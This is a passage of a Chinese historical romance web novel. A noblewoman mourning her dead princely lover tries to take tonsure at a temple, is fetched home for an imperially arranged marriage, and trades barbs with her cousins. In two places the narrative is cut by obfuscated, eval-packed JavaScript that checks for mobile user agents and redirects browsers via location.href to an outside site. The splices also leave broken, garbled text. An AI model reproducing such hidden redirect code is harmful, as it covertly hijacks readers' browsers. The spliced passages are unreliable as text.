《翡翠茱萸》 1. 水中月 元年之春,万物始生;新帝御极,大赦天下——借着这阵好风,金坠将心一横,决意从紫陌红尘之中赦免了自己。 这日正是花朝,满城莺烦马乱。天色微明,街上已有不少踏春的游人,拖家带口阻着路,好在琼苑金池的几株花树下占得头席。皇家御苑难得向百姓开放,趁着花神东君诞辰招惹蜂拥蝶绕。平日便在东君麾下侍奉的见惯了鲜花着锦,自是不赶这热闹的。譬如那新晋了当朝宰执的金相国府上,此刻仍是春眠不觉晓,处处鼾声吵。 趁着家人未起,金坠卷了小包袱,裹了一身黑,蹑步溜出府,逆着看花的人潮往城外去。小婢子宛童跟了她一路,五步一唤,十步一劝;见她头也不回,苦着脸道: “五娘当真决定了?” 金坠驻足回首,指着前方岔路,语重心长道: “左拐去御花园做花姑,右拐去山里边做尼姑——我走右边,你自己选。” 眼见自小跟大的五娘子扬长而去,宛童痛下决心,撒腿追上她。出了南城门,人烟渐稀,草木渐浓。金坠闷头疾走,一路上摧花踏草,踽踽独行。似一股不愿化作春水的寒泉,溯流而上,重归山源,再度将自身冰封。 帝京南郊十里外有座无名孤山,山中独立着一座古刹,相传已有百年。拾阶而上,杂草铺路,苍苔砌墙。山门边斜垂下一簇野树枝,将“寂照寺”三字半遮在一片瑟瑟浮动的青影里。这便是金坠为自己找寻的归处。 正要进去,宛童又拽着她:“五娘三思!跨进这门,终生只得做世外人了!” 金坠冷笑:“我纵留在外间,便做得了世中人么?” 语毕,大步流星地穿过山门,步入寺门。 寂照寺幽隐山林,香火寥寥,在这万人空巷的赏花盛节冷清得像是不知春至。禅院中遍植芳草,青碧如洗。仅有的一株古红梅已过了花季,此时全无鲜色映,在朗朗春光下绿得落寞。 金坠熟门熟路进得前院,正要去禅房叩门,一个清秀女尼飘然而出,合十唤过“金檀越”,道: “恭候多时,请先至伽蓝殿中焚香净心,待慧空法师亲自为檀越行剃度皈依之礼——净月,为金檀越引路。” 小尼净月脱兔一般从师姊身后跑出,糯声道毕“阿弥陀佛”,将访客带往伽蓝殿。一路上却不看前头,只频频回首偷瞄着金坠。金坠微笑道: “小师父这般瞧我,莫不是我生得与别人不同?” 宛童在边上贫嘴:“自然不同,小师父可见过似我家五娘这般美的比丘尼么?” “没,没有……”净月赧然垂首,小声问道,“金檀越为何要出家呀?” 金坠淡淡道:“因为我没有家了。” 净月一惊:“怎么会?前日我随师父进城做法事,还看到金府好端端地矗在开元坊呢!金檀越是名门贵女,怎会没有家?” “并不是生在哪里,哪里便是家。”金坠幽声道,“小师父打小在这寺门内长大,可有一刻觉得此处是家?” 小尼姑被道破了思凡之心,低眉不语。她们一路默行,过空门、无相门、无作门,见“不二法门”四字。此处便是伽蓝殿戒场,凡出家者不分男女皆于此行剃度之礼。 大殿中静穆肃然,檀香袅袅,禅意沈澹。中央供奉释迦牟尼坐像,十六尊者环列两侧,四方上首四大护法,无不法相庄严,令人望而生敬;唯独后殿墙角处的青玉佛龛中有一尊翡翠观音—— 佛像仅高三寸,玲珑清润,通体一色,似有天青的肌,月白的骨。头戴化佛宝冠,身披云肩璎珞,左手撑座,右手置膝,跣足游坐于蒲叶岩座之上;一双妙目微垂,似于水中观月。无论从何处观之,皆如同在与之对视,教人心生法喜。 净月端来水盆,请金坠净手焚香,见她正出神地望着那尊观音像,雀跃道: “金檀越喜欢它?我也喜欢!咱们寺里供着大小几十座菩萨,就数这翡翠观音最美!” “这不是寻常的玉罢……?” “金檀越好眼力,这是滇西的冰魄翡翠,别处见不到呢!想当年,嘉陵王殿下亲赴云南寻得此玉,又请最好的玉匠雕了这尊观音像,送来时真如显灵一般发着光,照得禅堂夜里都不用点灯呢!住持当时便说,鄙寺恐难供养如此尊贵之物,殿下只说,这是为了圆他母亲容嫔娘娘的遗愿。娘娘生前常于鄙寺礼佛敬香,一直想从她的家乡请一尊翡翠观音来供奉呢……” 净渌水上,虚白光中。一睹其相,万缘皆空(注)——古人以此四言赞颂水月观音造像之美。较之诗中光景,眼前之物只令人缄口失语罢了。 金坠定定凝望着那尊翡翠观音,欲言又止,神思游离。净月继续说道: “这些年来,嘉陵王殿下不仅慷慨布施,每有济贫赈饥时必亲力亲为。去年城外闹瘟疫,寺中收容了不少贫病百姓,殿下亲自来赈济,不分昼夜随叫随至,夜深露重也顾不得添衣,只着一件素衫,整个人好似在月下发光。大家私下都说他是观音转世呢……” 小尼言至此,合掌对着那尊观音诵了声佛,嗫嚅道: “阿弥陀佛!可怜殿下这般好的人,竟会遭受那样可怕的事……” 去年冬天,嘉陵王元祈恩奉诏出使南诏大理国。其时先帝驾崩,嘉陵王仓促回京为父皇奔丧,未出云南却遭山洪阻路,不慎于深山驿道坠崖,享年二十五。天人魂断异乡,闻者无不悲叹。 初闻噩耗时,金坠将自己闭锁在屋中,一连数日不饮不食,只求一死——但她毕竟没有理由去死。 彼时,嘉陵王与她的事已成了朝野上下口诛笔伐的公案,她纵为他殉情也只落得个笑话;况叔父叔母已代她收了名门贺家的聘礼,满心期许等着将她脱手。于情于理,她活着都比一死了之更合伦常。 在府中白吃白喝地长到二十出头却迟不出阁,以叔母的话来讲,便是“违天悖人,欺宗灭祖”。宰执夫人向来喜爱慷慨陈词,许是平素将狠话用尽,到了用武之地反穷了词。 年前嘉陵王出使南诏,前脚一走,王妃后脚就攥着一纸金坠曾回给殿下的和诗大闹宫宴,断章取义,控诉金氏庶女“作艳靡之词狐媚惑主”,种种恶状不可胜言。一时流言满天,叔母只得面无人色地捂着心口直呼作孽。 这事说来当真作孽。嘉陵王妃出身高门,父兄皆是翰林清流领袖,亦是嘉陵王的宾客僚臣。金坠叔父金霖原只是雍阳长公主府的一个谋臣,攀附长公主升官入阁,还做上了小太子的师傅。朝中清流一向视叔父为奸佞,嘉陵王妃大闹之事难说背后无人指示。金坠明白自己是被人当了靶子,一心盼着殿下回京后替她做主。不想噩耗惊传,天人永隔。她失了至爱,毁了名节,又遭家人冷眼,换作脸皮薄些的女子,早该赏自己三尺白绫了——没准她的家人也这么盼着。 金坠毕竟不是那样的女子。嘉陵王与她身世悬殊,本是一场注定的孽缘。初遇之日她便预感他们不得善终,却未曾想过这一日来得如此迅疾,如此惨烈。如今斯人已逝,她来此向神佛求告,非为斩绝情孽,只为在一个清净无尘之地永久守护它。 小尼净月不谙世事,仍在伤感地凭吊逝者。一旁的宛童皱眉打断: “你们佛家最爱讲因果报应,嘉陵王殿下生前广结善缘,为何不得善终?可见都是诓人的!五娘,我们还是走吧!捐点香火钱也罢了,何苦把自己的身子也捐弃了呢!” 金坠置若罔闻,仍注视着那尊翡翠观音像,冷声道: “佛陀不惜割肉饲鹰,我这点肉体凡胎又算得了什么?” 宛童还想劝,金坠已从髻上拔下发钗,将满头云发在佛前铺散开来。净月羡慕道: “金檀越的头发那么好看,绸缎似的,剪了不心疼么?” 金坠不语,将那支缀着鎏金凤蝶的钗子塞到小尼掌中,柔声道:“送给小师父。” 净月连连推辞,眼睛却一刻不离钗头亮闪闪的金蝶,显然很是喜欢。金坠莞尔: “我已不需要了,小师父请收下吧。若有朝一日养了头发还了俗,便戴着去看花;若不然,请换作资粮慈济病苦,权当我在俗世所献的最后一份供养吧。” 一阵沉静足音穿堂而来,正是寂照寺的女住持慧空法师。其人方额广颐,手执净瓶,威肃不可方物。金坠忙合十致礼,敛容跪拜: “弟子金氏参透因缘,只求余生常伴青灯。前日已将出家愿书送至贵寺,恳请法师为我行剃度之礼,皈依三宝。” 慧空法师颔首,将金坠带至前殿,一位手持剃刀的戒师已候立在佛前。慧空取来杨枝沾水洒向金坠,念偈颂道: “毁形守志节,割爱无所亲,弃家入无为,愿度一切人。” 语毕,垂目视向长跪殿前的金坠,沉声发问: “比丘尼具足戒三百四十八条,可皆已知悉?” “弟子知悉。” “尽形寿,断物欲,能持否?” “能持。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15977789|177882||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “尽形寿,断利欲,能持否?” “能持。” “尽形寿,断情欲,能持否?” “……” 金坠踯躅片刻,正欲作出同样的回答,忽闻有人在外连连高喝: “刀下留人——刀下留人呐!” 来人是个白发老者,正是金府的大管事顾翁。但见他颤巍巍地奔袭进殿,闯入这场进行至中途的皈依仪式,一面对着持剃刀的戒师高喊留人,一面对着被惊扰的神佛喃喃“阿弥陀佛”。瞧见金坠的长发还在头上,忙又感天谢地,连声念叨菩萨保佑。 金坠长叹一声,冷冷道:“天下大赦,顾管事怎还跑来劫法场?” 顾翁讪笑:“都什么时候了,五娘还说笑!” 金坠道:“花朝佳节,顾管事不随大家一道去看花?” 顾翁躬身唱了个喏,笑道:“外头的花随处都是,有何看头,要看便看喜宴上的礼花——老奴特向五娘道喜来!恭喜娘子,贺喜娘子!” 金坠懒懒道:“何喜之有,喜从何来?” 顾翁喜笑颜开:“敕封紫金医圣、故集贤院大学士沈清忠公的孙公子今日一早登门提亲,眼下正携聘礼于府中恭候五娘呢!老相公和夫人请五娘速速回府,亲成喜事!五娘快快起身,随老奴一道家去罢!” 金坠早料到他要说什么,目不斜视,仍屈膝跪于佛殿前道: “有劳顾管事回禀叔父叔母,烦请替我将聘礼还回去吧,早晚也是要退的。” 顾翁大惊:“五娘这是何意?” “顾管事莫不是忘了前两回的丑事?”金坠淡淡道,“与其再如那般被人退婚损了家门颜面,不如先发制人,拒之为妙。” 顾翁一愣,旋即笑道:“五娘差矣!常言事不过三,这门亲事可不兴退,也无人敢退——此番可是雍阳大长公主做媒,今上赐婚呐!长公主特赐禁中督造鎏金凤蝶宝钗为聘,前几日已同凤冠霞帔一道送至府上了,五娘莫非不知?” 金坠冷声:“我何德何能,敢劳圣旨赐婚?” 顾翁拱手遥拜,正色道:“奉天承运,皇帝诏曰:帝京金氏五娘子贤良淑贞,婉婉有仪……” “是吗?可我记得,之前那两家来退聘礼的时候不是这么说的呀?”金坠截住顾翁的话,不疾不徐道,“先是祝工部家,说我‘命犯铁扫’,未过门便克死了夫婿。还有那理学名家贺老学士,说我‘狐媚惑主’‘有逆妇道’,配不上他的好大儿……” 顾翁面如土色:“阿弥陀佛!佛门净地,五娘慎言呐!” “这么说,这回轮到沈氏家门不幸了?”金坠冷笑一声,故作惋惜地摇了摇头,“可怜见的,不知做了什么孽,摊上我这不贤不淑还被退过两回婚的半老徐娘……” 宛童忿忿道:“五娘何必自轻!你不过双十出头,比那班长舌妇年轻多了!那些子鬼话更是诽谤人的,休得搭理!” 顾翁道:“正是!五娘不知,那沈家郎君是出了名的良家子,芝兰玉树,家学渊源。原是东宫伴读出身,制举第一,弱冠之年便评上翰林学士,又继承沈老医圣的学问,在太医局传授药理。如今不过二十四岁,便恩荫赐了紫金鱼袋、晋了正四品天章阁直学士,前途无量,与五娘正是郎才女貌,珠联璧合!如此绝世良配,你若迟疑,他可要被别家抢去做女婿哩!” 金坠伸指绞着垂在颈前的一缕发,道:“沈老医圣岁初刚过世吧?祖父尸骨未寒便来提亲,那沈学士倒是个绝世贤孙!” 顾翁讪笑:“沈清忠公高寿八十,寿终正寝,本为喜丧。适逢改元,陛下特准沈学士服孝百日便可娶亲,这不正赶着良辰吉日登门送聘来哩!” 金坠冷笑:“确是个吉日!天家做媒,世交卖情,终于将我这赔钱货送出去了,叔父他老人家可未少费心吧?” “五娘这是什么话?老相公一心为你的终身大事着想,谁知你竟自轻自贱,跑来庙里做姑子!”顾翁勃然变色,“赐婚诏书已下,圣意难违,五娘快随老奴回府吧!” “圣意难违,那天意呢?我只听到天意让我从五毒六欲七情八苦中解脱!我已在佛前立誓,此生再不被尘俗所扰——他若要娶,便娶我的尸身去!” 金坠切齿言毕,倏然起身,指着面前那尊高高俯视自己的如来金身像。 “难道要我一头碰死在佛前你们才死心?” 【注释】 出自白居易《画水月菩萨赞》 2. 微云坠 眼见金坠以死相逼,顾翁和宛童大惊失色,左右上前死拽住她道: “身体发肤受之父母,五娘何苦来哉!” 金坠挣开他们,佯疯作癫,一头朝着佛堂前那尊如来像撞去。默立其旁的慧空师太飞身拦住她,沉声道: “阿弥陀佛!世间万苦皆是修行道场。一念迷即苦海,一念觉即彼岸,金檀越切莫自弃!” 金坠哀求:“求法师即刻为我剃度吧!” 慧空摇头:“檀越尘缘未断,还请回吧。” 金坠如遭雷殛:“您不收我了?” 法师凝望佛像,淡淡道:“如来有命,非贫尼不愿收你。” “佛度世间一切苦厄,何以不可度我……?” “万般皆苦,唯有自度。度人者自度之,自度者天方度之——檀越尚有尘缘未尽,妄执未灭,空门并非你的归处。请回吧。” 金坠颤声:“我已无处可去,求法师收下我罢!” 慧空叹息一声,俄而道:“金檀越既虔心向佛,请答贫尼一问,若无误,贫尼便为你行皈依之礼。” 金坠忙道:“法师请问!” 慧空低眉发问:“相国寺山门后所题四言禅偈,是为何偈?” 金坠一怔,皱了眉头。相国寺贵为皇家寺院,她自小到大不知随家人去进过几回香,寺中供奉的几尊佛像倒是面熟,却从未抬头注意过那巍峨山门后镌刻的偈语。 慧空见她面露难色,冷然道:“金檀越请回吧。” 金坠自知皈依无望,黯然起身施礼,转身欲去。踯躅片刻,又回首问道: “相国寺山门后所题偈语有何佛谛,望法师赐教。” “佛谛不可言,请自行前去参悟之。” “信女愚钝,既已遭法门所拒,有何脸面再往佛前?” “法门无边,不拒万物。佛恩无量,不责众生。”慧空合十微笑,“八万四千尘劳,八万四千法门。心怀菩提,身在何处皆可礼佛,何须囿于山门方寸之间?” 比丘尼之声沉静悲悯,不可辩驳。金坠心灰意冷,惨淡一笑: “多谢法师指点——顾翁,宛童,我们走吧。” 宛童应了声,忙上前拽过五娘的手,生怕她变卦。顾翁亦不可置信,片刻回过神来,对着慧空合掌谢恩: “多谢法师指点!阿弥陀佛,可算将这尊难请的菩萨请回家去也!” 从伽蓝殿中出来,迈出不二法门,重又行经无作门、无相门、空门,重返外间的紫陌红尘。金坠形如泥塑木雕,在那一老一少的簇拥下被抬出寂照寺。 正要离去,小尼净月匆匆追来,将金坠先前送的那支凤蝶金钗还给她,慌张道: “这是宫里的东西,太金贵了,我不能收!请金檀越收回吧!” 这是宫里赐她的定亲聘礼,雕在钗头的那只不会飞的金蝶便是她宿命的写照。为了逃避这命,她逃来了这里,却终究又要回到俗世的茧房中去了。 灿金尖锐的寒光刺痛双目,金坠轻叹一声,将那物重新递回净月小小的掌中,敛容道: “宫中之物供养三宝,功德倍胜。我与法门无缘,请小师父慈悲纳受,令其转作法供,共结善因。” 净月踌躇着收下她的布施,问道:“金檀越还会回来吗?” “我不知道……或许吧。” “不要回来!”净月悄悄道,“寺里又闷又寂寞,一点也不好……” 金坠苦笑一下,喃喃道:“人活在世上,不管在哪里,都是寂寞的。不只是人,一花一草,一鸟一虫,都很寂寞……” “吉时不待人,五娘快上车吧!沈家郎君可还在府中等你呐!” 顾翁已命众家仆在前开道,催促她下山。金坠淡淡应了声,作别净月,如来时一般头也不回地出了寂照寺。 当朝金宰执府邸矗立于开元坊正中:前邻天街,后毗御苑,西近国寺,东倚皇城;朱门紫楣,户列簪缨,地灵人杰,济济有众。 然这一切同金坠并无关系。五岁那年腊月,自感时日无多的母亲耗尽做针线攒得的盘缠,拖着病体带她进京,在金府外冒雪跪了终日。彼时老夫人尚在世,怜她母女无枝可依,破戒收容了她们——纵使那失踪多年的金家长子曾在家门前立下毒誓,此生惟愿携佳人诗剑飘零,再不踏入这“金笼子”半步。 毕竟是名噪帝京的诗礼之户,金相夫妇谨遵家训,待她如己出。金坠被收在府里,同族中姊妹一道吃了数载白食,以叔母之言,是她“前世积德、转世难报”的福分。即使她的生母是个乐籍出身的“下流货色”,她的父亲则是个色迷心窍的“不肖子孙”。 初到金府那年,叔父还未做上宰执,尚有闲暇燕居。下人将她母女带至堂前,叔父正儒雅随和地端坐看书,抬眼瞧了瞧她母女,随口问侄女的闺字。母亲搂着她,柔声唤出了那个明月似的小名——“皎皎。” 叔父闻言,皱了皱眉,翻着手里的《世说新语》珍本道: “古人云:天月明浄,不如微云点缀——今后就唤她缀儿吧。” “是个好名。”叔母叶氏颔首附和,冲母亲讪笑,“嫂嫂安心养病,孩儿今后随我。她还不识字吧?明起便叫她与姊妹们一道读书,日后也好许个好人家。免得步人后尘,有伤门楣……” “我识字了!我还会写自己的名字……” 金坠脱口而出,即遭母亲喝止。叶氏乜斜着她,冷笑道: “哦?那你可得学点儿新字了——咱们金家行土运,就照你姊姊们的字辈取个同音吧。(注1)” 语毕,唤侍女取来纸笔,用淌着墨汁的笔豪大大书下一个“坠”字,递给身旁的丈夫过目。叔父瞥了一眼,仍垂首看书,点点头算是默认。金坠想反驳,却被母亲紧攥住衣角,只得干瞪着白纸上那个陌生的大字,仿佛那就烙在她脸上。 就这般,她结束了与母亲相依为命的贫寒岁月,开始了寄人篱下的贵府生活。叔母信守承诺,让她与族中姊妹们一道随先生读书。学到《世说新语》时,她终于读到了叔父当初引来为她取名的那段文典。“明月不如微云点坠”后面跟着的分明是一句反讽: “卿居心不净,乃复强滓秽太清邪?”(注2) 此后每见叔父叔母,她都想把这句话同书一道甩给他们,质问他们为何居心不净,滓秽太清。 但她终归只能想想。来到金府翌年春,母亲便在那间照不到太阳的偏房里病逝了。临终之际,母亲紧握着她的手,用几不成声的语调反复叮嘱她要听话,直到她哭着保证。母亲欣慰地笑了,一声声在耳畔唤她“皎皎”。最后一声轻唤飘散,她彻底成为了“金坠”。 从此,金坠便晓得自己人如其名,生来即是个累坠。 花朝节这日,被恪尽职守的老管家顾翁从寂照寺一路抬下山后,金坠不得不回到了这里。望着金府门前那两只气派的石狮子,迟迟不愿迈步。多希望这对看门猛兽此刻活过来向她发威,好让她溜之大吉啊! 如今他们五花大轿请她回来,只为来日再用五花大轿将她赶走。思及此处,金坠不免冷笑出声。但今日毕竟是她定亲的喜日,不好扫兴,甫一归家,她便换上寻常那副皮笑肉不笑的脸孔,迤逦来到堂前拜会衣食父母。 金宰执如往常一般不在府中,趁节令休沐去赴哪处的酬应了。饶是如此,厅中仍人头攒动,却并不如她预想得热闹—— 但见夫人叶氏雍容盛装,高坐堂前,正侧身吩咐婢子;两旁分坐着四个女娘,珠环玉绕,莺声雀语,俱是归宁的金氏女娘。瞥见金坠到来,其中三个仍笑语晏晏嗑着瓜子,只当吹进来一阵风;唯有末座上的四姊姊向她点了点头,送去一个稍显无奈的微笑。 金坠无意搅扰她们母女的天伦之乐,又不好一言不发,遂自若上前道: “好热闹呀!难得姊姊们都在,大家赏花便赏花,何必专程等我?这般干坐着可要闷坏了!” 夫人叶氏转过头来,冷冷道:“你还晓得回来?花儿都快开败了!” 长姊金幸笑道:“今日可是五妹妹定亲的吉日,姊姊们特来向你道喜,何想妹妹姗姗来迟,等得人家新郎倌不耐烦,搁下聘礼先走哩!” 金坠亦笑:“我一早见外头花开得好,便拉着宛童踏春去了,玩得高兴误了时辰,害大家久等了!” 叶氏不悦道:“定亲纳采的日子,不在家好好见客,自己跑出去看花,你真是那天煞孤星不成?” 金坠故道:“我不过稍稍晚到了些,谁成想他这般等不起!叔母怎也不替我留客?” “我没替你留?我嘴皮子都磨破了,他愣说还有公事,急着回去,我说哪有提亲提了一半上工去的道理?今日花朝各处休沐,他们那太医局又不是救命的地儿,能有什么急差?他说熟药所新采了一批西域药材,没人认识,他得去看着入库——原本还说等你回来一道去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“若非天子赐婚,哪个好人家敢给咱们五妹妹送聘礼来?可怜那沈郎被逼无奈,又是三代单传的独苗,家里没个替他做主的长辈,只好奉旨来捡别人退过两回的剩货!” 二姊三姊纷纷附和: “不过看五妹妹的模样,可对这桩亲事颇有微词呢!” “人家一心想当嘉陵王妃,自是不高兴了!劝妹妹还是别做梦了,纵是给皇家配冥婚,凭你的身份也不够格呐——如今天子赐婚明媒正娶,又攀上个紫金学士郎,少说也能封个奉恩令人诰命。我要是五妹妹你,早就去庙里烧高香告慰祖宗了!” 金坠静待她们说完,淡淡一哂,对大姊道: “我确是寒微之人,配不上他。大姊姊既这般不平,不妨替我嫁去沈家当正房吧?毕竟你成亲多年未有子嗣,又不准姊夫纳妾,早些改嫁也好让夫家早续香火,不枉一世贤德美名哩。” 金幸面如土色:“你自己嫁去吧,我可不敢掠美!” 金坠道:“那待我成了亲,嘱我夫君给姊姊开几副补药吧?总不给夫家添丁也不成规矩啊!” 趁大姊面红语塞之际,她又向一旁的二姊金坛走去,徐徐道: “二姊姊,听说你下月便要随姊夫去漳州赴任,想必水土不服,我也请夫君给你开些药吧?姊姊若在异乡有个不测,岂不便宜你家那位姨娘婢作夫人、白白上位?” 金坛缄口结舌,未及回骂,金坠已向对面的金墨走去,嫣然一笑: “三姊姊如今怀着身孕,回头我让夫君给你开些安胎药,免得一不小心让夫家绝后——对了,听说生了孩子的女子十有八九会发福,看来也得多给你开些养颜药方,免得姊夫被外面的狐媚子勾走呢!” 金墨气急败坏,一手捂腹,一手指着金坠,正想破口大骂,金坠蓦地凑向她身前,一脸惊诧地盯着她的面颊: “呀,姊姊脸上是什么,青一块紫一块,怪吓人的!快回屋里照照镜子吧!” 金墨一愣,举袖捂面,风一般跑回屋去。大姊二姊见状亦不纠缠,用尽在不言中的目光狠瞥了五妹两眼,鱼贯出去了。 拔舌地狱似的厅堂转瞬成了清净国土。金坠冷笑一声,兀自落座,从盘中捡出吃剩的瓜子一粒粒剥起来。边上一直没说话的四姊金尘叹了口气,苦笑道: “你这张小嘴啊!只怕沈学士要永无宁日了。” 金坠将瓜子剥得清脆有声:“谁让他非得和我成亲?娶鸡随鸡,娶狗随狗,他都没见过我,娶了便得受着!” 【注释】 (1)“缀”古通“坠”,皆有累赘之意。 (2)出自《世说新语·言语》。司马道子和谢景重夜坐闲谈,天明月净,都无纤翳。司马道子觉得夜色可爱,谢景重认为不如微云点缀。前者讥讽道,你自己的心不干净,为何滓秽太清,让天也不干净? 3. 万灵药 四姊姊安慰道:“圣旨赐婚,他也无可奈何啊……” “他可以抗旨啊!” “你不也没抗旨么?” “是啊,我抗旨大不了一死,他可是要失了他的前程呢!” 金坠将剥下的瓜子壳规整排列在案头,冷冷道: “做男人可真轻松,凡事只消围着一纸官牒打转就好,娶亲生子这样的人生大事也不必多虑,但凡可保禄运亨通,莫说我这出了名的铁扫帚,叫他们娶个癞虾馍也没二话!” 金尘劝道:“沈学士是医道中人,未必看重这些……” “是呢,太医局的正四品医道!能做咱们金宰执的侄女婿,他想必也知足了。叔父苦心将我塞给他,今后如何也得多提携一把吧?他做了金龟婿,叔父也将我脱了手。金沈两家本是世交,此番亲上加亲,真是无本万利,喜事一桩。” 金坠自嘲满满地叹了口气。天地良心,叔父叔母秉承祖训养育她数十载,就指着她的亲事回本,侄女刚及笄那年便替她操心起来。奈何叔父当年还未做上宰执,看了几门姻亲都是高不成低不就。拖到十六岁,终于接了祝工部家的聘礼,她还没过门却“克死”了人家的好大儿,一时无人再登门提亲。延宕几年,好容易在去年将她许了名门贺氏,她与嘉陵王元祈恩的私情却又不合时宜地公之于众,经有心之人添油加醋,一时流言蜚语漫天,令金坠成了帝京著名的“狐媚子”。 人尽皆知她叔父是做太子傅的,彼时重立储君的传言甚嚣尘上,叔父一听到“嘉陵王”三字就头疼,焉知这行将出阁的倒霉侄女竟背着家族和死对头好上了。女儿家名节既失,岂是一句“发乎情止乎礼”能打发的。此事一出,理学名家贺老学士亲自替儿子来退了聘礼。叔父叔母彻底对侄女没了指望,只盼有个老实人来托底。 所幸还有一个沈家——人称医圣的沈清忠公生前与金家老祖公曾是故交,两家后人的交情虽淡了,也算是世交。沈家家学渊源,名声在外,可惜人丁凋零,年初沈老医圣急病过世,只剩一个三代单传的独孙沈君迁。这般适龄的良家子在帝京可是抢手货,金相夫妇生怕沈君迁被别家抢去,紧急运筹,终于请得雍阳长公主做媒、天子赐婚,连祖父的丧期都不让他守完就逼他上门提亲送聘。如此一来,既解决了金坠砸在手里的心腹大患,也好为孤零零的沈家添些人丁,还巩固了两家凉薄的世交情,实属一箭三雕的大喜事。至于这对被牵在红线两头的新人自己如何想,就轮不着长辈操心了。 金坠只觉得一切可悲又可笑,不再想下去,将剥好的一碟瓜子仁推至金尘面前。 “四姊姊难得回来看我,我也没备礼,请你吃瓜子吧。” 金尘莞尔:“礼尚往来,我也有东西送你。你姊夫前日从江南出公差回来,我让他给你带了些绣料,都是织造院今年的新样,你看看可还中意?” 金坠闻言一喜,见姊姊从婢子手中接过一套锦缎包裹的绚丽丝线,寻常色彩自不必说,更有泛着玉辉珠光般的异色,不难想见绣出来是何等美丽。金坠爱不释手,笑道: “多谢四姊姊!我正打算绣一幅新图,还愁没有好的绣料呢,这些正合适!” 金尘望着妹妹,怅然道:“打小看你绣花,绣得比谁都好,同你比起来,我们做的那些只能叫针线活。每次见你独自在屋里一幅幅地绣,总觉得你会永远拿着针线坐在闺阁里,永远不会长大……一转眼,我们坠儿也要嫁人了。” “我又不是被绣出来的,终归要长大出阁的。”金坠苦笑一下,挽起四姊的手,“姊姊再陪我去屋中坐坐罢,往后恐没这个机会了。” 姊妹二人执手而行,穿过重廊,步至北厢金坠的寝房。甫一进门,便见向来清净无物的架上搁着只缚着红绸的紫檀小匣。 “这是……?”金坠蹙眉。 “适才随聘礼一道送来的。这一只匣子是单独送到你屋里的,不知是什么宝贝呢。” “既是聘礼,也不知好好包装包装,就这么搁在架上,谁晓得是什么?” 金坠撇撇嘴,漫不经心地打开匣子。匣中仅有一个雪白的纸包,金坠拿起掂了掂,凑近一嗅,眉头一皱,冷笑道: “不愧是药学世家,头一回见提亲给人送药的!” “药?”金尘一怔,“什么药呀,会不会很贵重?不拆开看看么?” “终归都是药,闻着就够苦了,有什么好看的!” 金坠没好气地合上匣子,重又搁回架上。金尘笑道:“良药苦口嘛。” “是呢,和我的命一般苦!”金坠吐吐舌头。 金尘只得陪她苦笑,半晌道:“坠儿,你今早独自出门那么久,当真是去看花么?” 金坠叹了口气,如实道:“我去了寂照寺。本打算剃度出家,不知哪个多嘴的告诉了顾翁,惹他带着一家老小跑来喊什么刀下留人,便没剃成。” 金尘欲言又止,低低道:“你……仍是忘不了他么?” 金坠咬唇轻语:“殿下说过,只有与我在一起的时候,他才能做回他自己。若连我也忘记他,他最后留在世上的一点痕迹也不复存在了。那时,他便会彻底离开,彻底死去……我不愿那样。” 今早离家时打好的包袱已被送回房里,搁在塌上。金坠打开包袱,取出一只天青色的刺绣锦囊。锦缎绵柔,巴掌大小,针脚细密地绣着斑斓的云纹,正中有一轮被彩云环绕的银月——那是当年母亲怀她的时候,夜夜在窗前借着月光,一针一线为她缝制的。她拆开锦囊,从中取出一物,捧在掌心细细端详。 一只清润欲滴的翡翠镯子。通体月白,玉身中氤氲着几缕轻烟似的青丝,宛若一汪浮着绿藻的月下春水。她将手镯翻过来,露出内侧镌着的那两个蝇头小字:阿儡。 阿儡,在云南苗家的语言中是“美丽的姑娘”之意。那是嘉陵王曾为她取的爱称。嘉陵王的生母容嫔原是苗疆贵族之女,在元祈恩这个中原名外,他还有个小字叫做“桑望”,与“阿儡”相对,意为“世上最美之人”。在苗疆,只有族中最高贵的美男子方可享此美誉。当地怀春少女常这般呼唤她们的梦中情郎,男儿则称呼他们心爱的姑娘为“阿儡”,并互换刻着彼此名字的首饰作信物。 “适才,我在寂照寺看到那尊翡翠观音,好像又看见了他——当年,殿下从滇西寻来那块翡翠玉,雕成佛像后还剩一点,便打了一对镯子,我们一人一只。可我平日却连戴的机会也没有,只敢在无人之时偷偷取出来……戴着它,就好像殿下还在我身边。” 金坠坐在塌沿,轻轻摩挲着那只镯子。玉身冰凉,似将融未融的春冰静躺于掌中,在指尖留下清澈无痕的烙印。 “殿下说过,这块玉石诞生的滇西河谷是个人间仙境,那里有一条流淌着翡翠的大河,沿着河流一直往南,就能到达佛经上说的净土国,那是世上最美的地方。终有一日我们会一起去那里生活,我永远是他的阿儡,他永远是我的桑望……可我如今只能在梦中去了。” 去年嘉陵王奉诏出使大理国,临行前,金坠将刻着“阿儡”的翡翠镯牢牢戴在他手上,叮嘱他不可取下,若有意外可替他挡灾。祈恩却将那镯子还给她,问她要来刻着“桑望”的那只戴上。后来,得知他在云南坠崖,她如遭雷殛,才明白他是自己替自己挡下了那场灾。倘若出发前她坚持不让他换下那只镯子,他是否便不会支离破碎、尸骨无存? 金尘在她身旁坐下,轻 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“四姊姊,我说的都是真的!我没有凭证,可我确信殿下在云南一定不是遭遇了什么山洪!先帝病重那会儿,四处都流传东宫将易主,人人都说嘉陵王方是太子的不二人选……” 金尘苍白道:“你想说什么?” “这可不是我说的。不信你回去问姊夫,看看四处都在传什么样的风言!” 金坠凝视着姊姊的双眼,敛容低语: “记得去年家宴,姊夫私下同我们提过,翰林清流预备以‘朋党之罪’弹劾叔父。不久之后,嘉陵王妃便趁殿下出京大闹宫宴,表面是骂我,实则定是冲着叔父来的。清流推举嘉陵王,一向同叔父势如水火,此事恐是他们为造势扳倒叔父故意做的。我只怕,正是因为这件事,最终才害得殿下坠下深渊……” 金尘一凛:“坠儿,你这话是何意?” 